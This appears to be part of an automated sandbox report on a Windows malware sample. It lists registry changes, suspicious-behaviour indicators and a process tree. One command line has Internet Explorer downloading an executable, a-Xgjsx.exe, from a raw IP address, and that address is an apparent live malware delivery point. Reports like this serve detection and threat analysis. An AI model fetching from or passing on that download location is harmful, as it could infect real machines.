Settings\Software\Microsoft\Windows\Shell\Bags\3\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\FFlags = "1" chrome.exe Set value (data) \REGISTRY\USER\S-1-5-21-640001698-3754512395-3275565439-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0 = 14001f50e04fd020ea3a6910a2d808002b30309d0000 chrome.exe Set value (data) \REGISTRY\USER\S-1-5-21-640001698-3754512395-3275565439-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots = 02 chrome.exe Set value (int) \REGISTRY\USER\S-1-5-21-640001698-3754512395-3275565439-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\NodeSlot = "1" chrome.exe Set value (int) \REGISTRY\USER\S-1-5-21-640001698-3754512395-3275565439-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\GroupByDirection = "1" chrome.exe Set value (data) \REGISTRY\USER\S-1-5-21-640001698-3754512395-3275565439-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\1 = 14002e8005398e082303024b98265d99428e115f0000 chrome.exe Set value (data) \REGISTRY\USER\S-1-5-21-640001698-3754512395-3275565439-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots = 020202 chrome.exe Key created \REGISTRY\USER\S-1-5-21-640001698-3754512395-3275565439-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3 chrome.exe Set value (int) \REGISTRY\USER\S-1-5-21-640001698-3754512395-3275565439-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\FFlags = "1092616257" chrome.exe Set value (int) \REGISTRY\USER\S-1-5-21-640001698-3754512395-3275565439-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\GroupByKey:PID = "0" chrome.exe Set value (data) \REGISTRY\USER\S-1-5-21-640001698-3754512395-3275565439-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\MRUListEx = 00000000ffffffff chrome.exe Set value (int) \REGISTRY\USER\S-1-5-21-640001698-3754512395-3275565439-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\1\NodeSlot = "3" chrome.exe Set value (data) \REGISTRY\USER\S-1-5-21-640001698-3754512395-3275565439-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\1\MRUListEx = ffffffff chrome.exe Set value (int) \REGISTRY\USER\S-1-5-21-640001698-3754512395-3275565439-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\LogicalViewMode = "1" chrome.exe Set value (data) \REGISTRY\USER\S-1-5-21-640001698-3754512395-3275565439-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots chrome.exe Set value (data) \REGISTRY\USER\S-1-5-21-640001698-3754512395-3275565439-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\ComDlg\{CD0FC69B-71E2-46E5-9690-5BCD9F57AAB3}\ColInfo = 00000000000000000000000000000000fddfdffd100000000000000000000000040000001800000030f125b7ef471a10a5f102608c9eebac0a000000a000000030f125b7ef471a10a5f102608c9eebac0e0000007800000030f125b7ef471a10a5f102608c9eebac040000007800000030f125b7ef471a10a5f102608c9eebac0c00000050000000 chrome.exe Set value (int) \REGISTRY\USER\S-1-5-21-640001698-3754512395-3275565439-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\LogicalViewMode = "1" chrome.exe Set value (str) \REGISTRY\USER\S-1-5-21-640001698-3754512395-3275565439-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\GroupByKey:FMTID = "{00000000-0000-0000-0000-000000000000}" chrome.exe Key created \REGISTRY\USER\S-1-5-21-640001698-3754512395-3275565439-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU chrome.exe Set value (data) \REGISTRY\USER\S-1-5-21-640001698-3754512395-3275565439-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots = 0202 chrome.exe Set value (data) \REGISTRY\USER\S-1-5-21-640001698-3754512395-3275565439-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\MRUListEx = 0000000001000000ffffffff chrome.exe Set value (int) \REGISTRY\USER\S-1-5-21-640001698-3754512395-3275565439-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\IconSize = "16" chrome.exe Set value (int) \REGISTRY\USER\S-1-5-21-640001698-3754512395-3275565439-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\FFlags = "1" chrome.exe Set value (data) \REGISTRY\USER\S-1-5-21-640001698-3754512395-3275565439-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\ColInfo = 00000000000000000000000000000000fddfdffd100000000000000000000000040000001800000030f125b7ef471a10a5f102608c9eebac0a0000001001000030f125b7ef471a10a5f102608c9eebac0e0000007800000030f125b7ef471a10a5f102608c9eebac040000007800000030f125b7ef471a10a5f102608c9eebac0c00000050000000 chrome.exe Key created \REGISTRY\USER\S-1-5-21-640001698-3754512395-3275565439-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance chrome.exe Key created \REGISTRY\USER\S-1-5-21-640001698-3754512395-3275565439-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1 chrome.exe Key created \REGISTRY\USER\S-1-5-21-640001698-3754512395-3275565439-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7} chrome.exe Key created \REGISTRY\USER\S-1-5-21-640001698-3754512395-3275565439-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\ComDlg chrome.exe Set value (str) \REGISTRY\USER\S-1-5-21-640001698-3754512395-3275565439-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\GroupByKey:FMTID = "{00000000-0000-0000-0000-000000000000}" chrome.exe Set value (int) \REGISTRY\USER\S-1-5-21-640001698-3754512395-3275565439-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\ComDlg\{CD0FC69B-71E2-46E5-9690-5BCD9F57AAB3}\Mode = "1" chrome.exe Set value (int) \REGISTRY\USER\S-1-5-21-640001698-3754512395-3275565439-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\GroupByKey:PID = "0" chrome.exe Set value (int) \REGISTRY\USER\S-1-5-21-640001698-3754512395-3275565439-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\IconSize = "16" chrome.exe Set value (data) \REGISTRY\USER\S-1-5-21-640001698-3754512395-3275565439-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\MRUListEx = ffffffff chrome.exe Key created \REGISTRY\USER\S-1-5-21-640001698-3754512395-3275565439-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\Shell chrome.exe Set value (data) \REGISTRY\USER\S-1-5-21-640001698-3754512395-3275565439-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1\MRUListEx = ffffffff chrome.exe Set value (data) \REGISTRY\USER\S-1-5-21-640001698-3754512395-3275565439-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = 0000000001000000ffffffff chrome.exe Set value (data) \REGISTRY\USER\S-1-5-21-640001698-3754512395-3275565439-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\MRUListEx = 0100000000000000ffffffff chrome.exe Key created \REGISTRY\USER\S-1-5-21-640001698-3754512395-3275565439-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\Shell chrome.exe Set value (data) \REGISTRY\USER\S-1-5-21-640001698-3754512395-3275565439-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\Sort = 000000000000000000000000000000000100000030f125b7ef471a10a5f102608c9eebac0a00000001000000 chrome.exe Key created \REGISTRY\USER\S-1-5-21-640001698-3754512395-3275565439-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7} chrome.exe Set value (int) \REGISTRY\USER\S-1-5-21-640001698-3754512395-3275565439-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\ComDlg\{CD0FC69B-71E2-46E5-9690-5BCD9F57AAB3}\GroupView = "0" chrome.exe Set value (int) \REGISTRY\USER\S-1-5-21-640001698-3754512395-3275565439-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\ComDlg\{CD0FC69B-71E2-46E5-9690-5BCD9F57AAB3}\GroupByKey:PID = "0" chrome.exe Set value (int) \REGISTRY\USER\S-1-5-21-640001698-3754512395-3275565439-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\ComDlg\{CD0FC69B-71E2-46E5-9690-5BCD9F57AAB3}\GroupByDirection = "1" chrome.exe Set value (int) \REGISTRY\USER\S-1-5-21-640001698-3754512395-3275565439-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\ComDlg\{CD0FC69B-71E2-46E5-9690-5BCD9F57AAB3}\LogicalViewMode = "3" chrome.exe Set value (int) \REGISTRY\USER\S-1-5-21-640001698-3754512395-3275565439-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\Mode = "4" chrome.exe Key created \REGISTRY\USER\S-1-5-21-640001698-3754512395-3275565439-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1 chrome.exe Set value (str) \REGISTRY\USER\S-1-5-21-640001698-3754512395-3275565439-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\Shell\SniffedFolderType = "Generic" chrome.exe Set value (int) \REGISTRY\USER\S-1-5-21-640001698-3754512395-3275565439-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\GroupView = "0" chrome.exe Set value (int) \REGISTRY\USER\S-1-5-21-640001698-3754512395-3275565439-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\GroupByDirection = "1" chrome.exe Key created \REGISTRY\USER\S-1-5-21-640001698-3754512395-3275565439-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\ComDlg chrome.exe Set value (int) \REGISTRY\USER\S-1-5-21-640001698-3754512395-3275565439-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\Mode = "4" chrome.exe -
Runs net.exe
-
Suspicious behavior: EnumeratesProcesses 10 IoCs
Processes:
chrome.exetaskmgr.exepowershell.exea-Xgjsx.exepid process 360 chrome.exe 360 chrome.exe 2112 taskmgr.exe 2112 taskmgr.exe 2112 taskmgr.exe 3248 powershell.exe 3248 powershell.exe 3248 powershell.exe 2104 a-Xgjsx.exe 2104 a-Xgjsx.exe -
Suspicious behavior: GetForegroundWindowSpam 1 IoCs
Processes:
mmc.exepid process 3548 mmc.exe -
Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 13 IoCs
Processes:
chrome.exepid process 360 chrome.exe 360 chrome.exe 360 chrome.exe 360 chrome.exe 360 chrome.exe 360 chrome.exe 360 chrome.exe 360 chrome.exe 360 chrome.exe 360 chrome.exe 360 chrome.exe 360 chrome.exe 360 chrome.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
Processes:
chrome.exedescription pid process Token: SeShutdownPrivilege 360 chrome.exe Token: SeCreatePagefilePrivilege 360 chrome.exe Token: SeShutdownPrivilege 360 chrome.exe Token: SeCreatePagefilePrivilege 360 chrome.exe Token: SeShutdownPrivilege 360 chrome.exe Token: SeCreatePagefilePrivilege 360 chrome.exe Token: SeShutdownPrivilege 360 chrome.exe Token: SeCreatePagefilePrivilege 360 chrome.exe Token: SeShutdownPrivilege 360 chrome.exe Token: SeCreatePagefilePrivilege 360 chrome.exe Token: SeShutdownPrivilege 360 chrome.exe Token: SeCreatePagefilePrivilege 360 chrome.exe Token: SeShutdownPrivilege 360 chrome.exe Token: SeCreatePagefilePrivilege 360 chrome.exe Token: SeShutdownPrivilege 360 chrome.exe Token: SeCreatePagefilePrivilege 360 chrome.exe Token: SeShutdownPrivilege 360 chrome.exe Token: SeCreatePagefilePrivilege 360 chrome.exe Token: SeShutdownPrivilege 360 chrome.exe Token: SeCreatePagefilePrivilege 360 chrome.exe Token: SeShutdownPrivilege 360 chrome.exe Token: SeCreatePagefilePrivilege 360 chrome.exe Token: SeShutdownPrivilege 360 chrome.exe Token: SeCreatePagefilePrivilege 360 chrome.exe Token: SeShutdownPrivilege 360 chrome.exe Token: SeCreatePagefilePrivilege 360 chrome.exe Token: SeShutdownPrivilege 360 chrome.exe Token: SeCreatePagefilePrivilege 360 chrome.exe Token: SeShutdownPrivilege 360 chrome.exe Token: SeCreatePagefilePrivilege 360 chrome.exe Token: SeShutdownPrivilege 360 chrome.exe Token: SeCreatePagefilePrivilege 360 chrome.exe Token: SeShutdownPrivilege 360 chrome.exe Token: SeCreatePagefilePrivilege 360 chrome.exe Token: SeShutdownPrivilege 360 chrome.exe Token: SeCreatePagefilePrivilege 360 chrome.exe Token: SeShutdownPrivilege 360 chrome.exe Token: SeCreatePagefilePrivilege 360 chrome.exe Token: SeShutdownPrivilege 360 chrome.exe Token: SeCreatePagefilePrivilege 360 chrome.exe Token: SeShutdownPrivilege 360 chrome.exe Token: SeCreatePagefilePrivilege 360 chrome.exe Token: SeShutdownPrivilege 360 chrome.exe Token: SeCreatePagefilePrivilege 360 chrome.exe Token: SeShutdownPrivilege 360 chrome.exe Token: SeCreatePagefilePrivilege 360 chrome.exe Token: SeShutdownPrivilege 360 chrome.exe Token: SeCreatePagefilePrivilege 360 chrome.exe Token: SeShutdownPrivilege 360 chrome.exe Token: SeCreatePagefilePrivilege 360 chrome.exe Token: SeShutdownPrivilege 360 chrome.exe Token: SeCreatePagefilePrivilege 360 chrome.exe Token: SeShutdownPrivilege 360 chrome.exe Token: SeCreatePagefilePrivilege 360 chrome.exe Token: SeShutdownPrivilege 360 chrome.exe Token: SeCreatePagefilePrivilege 360 chrome.exe Token: SeShutdownPrivilege 360 chrome.exe Token: SeCreatePagefilePrivilege 360 chrome.exe Token: SeShutdownPrivilege 360 chrome.exe Token: SeCreatePagefilePrivilege 360 chrome.exe Token: SeShutdownPrivilege 360 chrome.exe Token: SeCreatePagefilePrivilege 360 chrome.exe Token: SeShutdownPrivilege 360 chrome.exe Token: SeCreatePagefilePrivilege 360 chrome.exe -
Suspicious use of FindShellTrayWindow 58 IoCs
Processes:
iexplore.exechrome.exetaskmgr.exepid process 2600 iexplore.exe 2600 iexplore.exe 360 chrome.exe 360 chrome.exe 360 chrome.exe 360 chrome.exe 360 chrome.exe 360 chrome.exe 360 chrome.exe 360 chrome.exe 360 chrome.exe 360 chrome.exe 360 chrome.exe 360 chrome.exe 360 chrome.exe 360 chrome.exe 360 chrome.exe 360 chrome.exe 360 chrome.exe 360 chrome.exe 360 chrome.exe 360 chrome.exe 360 chrome.exe 360 chrome.exe 360 chrome.exe 360 chrome.exe 360 chrome.exe 360 chrome.exe 360 chrome.exe 2112 taskmgr.exe 2112 taskmgr.exe 2112 taskmgr.exe 2112 taskmgr.exe 2112 taskmgr.exe 2112 taskmgr.exe 2112 taskmgr.exe 2112 taskmgr.exe 2112 taskmgr.exe 2112 taskmgr.exe 2112 taskmgr.exe 2112 taskmgr.exe 2112 taskmgr.exe 2112 taskmgr.exe 2112 taskmgr.exe 2112 taskmgr.exe 2112 taskmgr.exe 2112 taskmgr.exe 2112 taskmgr.exe 2112 taskmgr.exe 2112 taskmgr.exe 2112 taskmgr.exe 2112 taskmgr.exe 2112 taskmgr.exe 2112 taskmgr.exe 2112 taskmgr.exe 2112 taskmgr.exe 2112 taskmgr.exe 2112 taskmgr.exe -
Suspicious use of SendNotifyMessage 53 IoCs
Processes:
chrome.exetaskmgr.exepid process 360 chrome.exe 360 chrome.exe 360 chrome.exe 360 chrome.exe 360 chrome.exe 360 chrome.exe 360 chrome.exe 360 chrome.exe 360 chrome.exe 360 chrome.exe 360 chrome.exe 360 chrome.exe 360 chrome.exe 360 chrome.exe 360 chrome.exe 360 chrome.exe 360 chrome.exe 360 chrome.exe 360 chrome.exe 360 chrome.exe 360 chrome.exe 360 chrome.exe 360 chrome.exe 360 chrome.exe 2112 taskmgr.exe 2112 taskmgr.exe 2112 taskmgr.exe 2112 taskmgr.exe 2112 taskmgr.exe 2112 taskmgr.exe 2112 taskmgr.exe 2112 taskmgr.exe 2112 taskmgr.exe 2112 taskmgr.exe 2112 taskmgr.exe 2112 taskmgr.exe 2112 taskmgr.exe 2112 taskmgr.exe 2112 taskmgr.exe 2112 taskmgr.exe 2112 taskmgr.exe 2112 taskmgr.exe 2112 taskmgr.exe 2112 taskmgr.exe 2112 taskmgr.exe 2112 taskmgr.exe 2112 taskmgr.exe 2112 taskmgr.exe 2112 taskmgr.exe 2112 taskmgr.exe 2112 taskmgr.exe 2112 taskmgr.exe 2112 taskmgr.exe -
Suspicious use of SetWindowsHookEx 9 IoCs
Processes:
iexplore.exeIEXPLORE.EXEchrome.exemmc.exepid process 2600 iexplore.exe 2600 iexplore.exe 2516 IEXPLORE.EXE 2516 IEXPLORE.EXE 3400 chrome.exe 3400 chrome.exe 3400 chrome.exe 3548 mmc.exe 3548 mmc.exe -
Suspicious use of WriteProcessMemory 64 IoCs
Processes:
iexplore.exechrome.exedescription pid process target process PID 2600 wrote to memory of 2516 2600 iexplore.exe IEXPLORE.EXE PID 2600 wrote to memory of 2516 2600 iexplore.exe IEXPLORE.EXE PID 2600 wrote to memory of 2516 2600 iexplore.exe IEXPLORE.EXE PID 360 wrote to memory of 4648 360 chrome.exe chrome.exe PID 360 wrote to memory of 4648 360 chrome.exe chrome.exe PID 360 wrote to memory of 3944 360 chrome.exe chrome.exe PID 360 wrote to memory of 3944 360 chrome.exe chrome.exe PID 360 wrote to memory of 3944 360 chrome.exe chrome.exe PID 360 wrote to memory of 3944 360 chrome.exe chrome.exe PID 360 wrote to memory of 3944 360 chrome.exe chrome.exe PID 360 wrote to memory of 3944 360 chrome.exe chrome.exe PID 360 wrote to memory of 3944 360 chrome.exe chrome.exe PID 360 wrote to memory of 3944 360 chrome.exe chrome.exe PID 360 wrote to memory of 3944 360 chrome.exe chrome.exe PID 360 wrote to memory of 3944 360 chrome.exe chrome.exe PID 360 wrote to memory of 3944 360 chrome.exe chrome.exe PID 360 wrote to memory of 3944 360 chrome.exe chrome.exe PID 360 wrote to memory of 3944 360 chrome.exe chrome.exe PID 360 wrote to memory of 3944 360 chrome.exe chrome.exe PID 360 wrote to memory of 3944 360 chrome.exe chrome.exe PID 360 wrote to memory of 3944 360 chrome.exe chrome.exe PID 360 wrote to memory of 3944 360 chrome.exe chrome.exe PID 360 wrote to memory of 3944 360 chrome.exe chrome.exe PID 360 wrote to memory of 3944 360 chrome.exe chrome.exe PID 360 wrote to memory of 3944 360 chrome.exe chrome.exe PID 360 wrote to memory of 3944 360 chrome.exe chrome.exe PID 360 wrote to memory of 3944 360 chrome.exe chrome.exe PID 360 wrote to memory of 3944 360 chrome.exe chrome.exe PID 360 wrote to memory of 3944 360 chrome.exe chrome.exe PID 360 wrote to memory of 3944 360 chrome.exe chrome.exe PID 360 wrote to memory of 3944 360 chrome.exe chrome.exe PID 360 wrote to memory of 3944 360 chrome.exe chrome.exe PID 360 wrote to memory of 3944 360 chrome.exe chrome.exe PID 360 wrote to memory of 3944 360 chrome.exe chrome.exe PID 360 wrote to memory of 3944 360 chrome.exe chrome.exe PID 360 wrote to memory of 3944 360 chrome.exe chrome.exe PID 360 wrote to memory of 3944 360 chrome.exe chrome.exe PID 360 wrote to memory of 3944 360 chrome.exe chrome.exe PID 360 wrote to memory of 3944 360 chrome.exe chrome.exe PID 360 wrote to memory of 3944 360 chrome.exe chrome.exe PID 360 wrote to memory of 3944 360 chrome.exe chrome.exe PID 360 wrote to memory of 3944 360 chrome.exe chrome.exe PID 360 wrote to memory of 3944 360 chrome.exe chrome.exe PID 360 wrote to memory of 1284 360 chrome.exe chrome.exe PID 360 wrote to memory of 1284 360 chrome.exe chrome.exe PID 360 wrote to memory of 4792 360 chrome.exe chrome.exe PID 360 wrote to memory of 4792 360 chrome.exe chrome.exe PID 360 wrote to memory of 4792 360 chrome.exe chrome.exe PID 360 wrote to memory of 4792 360 chrome.exe chrome.exe PID 360 wrote to memory of 4792 360 chrome.exe chrome.exe PID 360 wrote to memory of 4792 360 chrome.exe chrome.exe PID 360 wrote to memory of 4792 360 chrome.exe chrome.exe PID 360 wrote to memory of 4792 360 chrome.exe chrome.exe PID 360 wrote to memory of 4792 360 chrome.exe chrome.exe PID 360 wrote to memory of 4792 360 chrome.exe chrome.exe PID 360 wrote to memory of 4792 360 chrome.exe chrome.exe PID 360 wrote to memory of 4792 360 chrome.exe chrome.exe PID 360 wrote to memory of 4792 360 chrome.exe chrome.exe PID 360 wrote to memory of 4792 360 chrome.exe chrome.exe PID 360 wrote to memory of 4792 360 chrome.exe chrome.exe PID 360 wrote to memory of 4792 360 chrome.exe chrome.exe PID 360 wrote to memory of 4792 360 chrome.exe chrome.exe PID 360 wrote to memory of 4792 360 chrome.exe chrome.exe PID 360 wrote to memory of 4792 360 chrome.exe chrome.exe -
System policy modification 1 TTPs 1 IoCs
Processes:
a-Xgjsx.exedescription ioc process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\shutdownwithoutlogon = "0" a-Xgjsx.exe -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
-
Uses Volume Shadow Copy WMI provider
The Volume Shadow Copy service is used to manage backups/snapshots.
-
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
-
C:\Program Files\Internet Explorer\iexplore.exe"C:\Program Files\Internet Explorer\iexplore.exe" http://80.66.75.37/a-Xgjsx.exe1⤵
- Modifies Internet Explorer Phishing Filter
- Modifies Internet Explorer settings
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:2600 CREDAT:82945 /prefetch:22⤵
- Modifies Internet Explorer settings
- Suspicious use of SetWindowsHookEx
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe"1⤵
- Adds Run key to start application
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=106.0.5249.119 --initial-client-data=0xcc,0xd0,0xd4,0xa8,0xd8,0x7ff884189758,0x7ff884189768,0x7ff8841897782⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1604 --field-trial-handle=1720,i,15101431607290005894,1740302005090716142,131072 /prefetch:22⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=480 --field-trial-handle=1720,i,15101431607290005894,1740302005090716142,131072 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2080 --field-trial-handle=1720,i,15101431607290005894,1740302005090716142,131072 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --enable-chrome-cart --lang=en-US --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --renderer-client-id=5 --mojo-platform-channel-handle=3104 --field-trial-handle=1720,i,15101431607290005894,1740302005090716142,131072 /prefetch:12⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --enable-chrome-cart --first-renderer-process --lang=en-US --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --renderer-client-id=6 --mojo-platform-channel-handle=3084 --field-trial-handle=1720,i,15101431607290005894,1740302005090716142,131072 /prefetch:12⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=4392 --field-trial-handle=1720,i,15101431607290005894,1740302005090716142,131072 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --enable-chrome-cart --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --renderer-client-id=8 --mojo-platform-channel-handle=4544 --field-trial-handle=1720,i,15101431607290005894,1740302005090716142,131072 /prefetch:12⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=4696 --field-trial-handle=1720,i,15101431607290005894,1740302005090716142,131072 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=4832 --field-trial-handle=1720,i,15101431607290005894,1740302005090716142,131072 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=4976 --field-trial-handle=1720,i,15101431607290005894,1740302005090716142,131072 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4844 --field-trial-handle=1720,i,15101431607290005894,1740302005090716142,131072 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4912 --field-trial-handle=1720,i,15101431607290005894,1740302005090716142,131072 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --enable-chrome-cart --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --renderer-client-id=14 --mojo-platform-channel-handle=5052 --field-trial-handle=1720,i,15101431607290005894,1740302005090716142,131072 /prefetch:12⤵
-
